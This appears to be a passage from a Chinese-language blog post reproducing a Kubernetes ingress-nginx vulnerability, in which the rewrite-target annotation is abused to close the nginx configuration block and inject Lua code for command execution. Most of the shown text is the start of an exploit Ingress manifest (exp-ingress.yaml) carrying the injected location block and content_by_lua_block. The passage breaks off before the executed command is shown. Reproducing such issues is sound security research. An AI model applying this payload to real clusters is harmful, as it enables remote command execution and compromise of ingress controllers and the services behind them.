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2023-11-16 myluzh Kubernetes
0x01 开头 这里的ingress一定要是nginx，进行复现的环境k8s版本是1.25，ingress里面参数nginx.ingress.kubernetes.io/rewrite-target，可以任意插入，就尝试插入 lua 代码通过注解注入特殊字符尝试闭合nginx配置文件块从而实现插入任意配置实现命令执行。 0x02 复现 1、exp-ingress.yaml如下 apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: ingress-exploit annotations: kubernetes.io/ingress.class: "nginx" nginx.ingress.kubernetes.io/rewrite-target: | execute-command/ last; } location execute-command/ { content_by_lua_block { local handle =...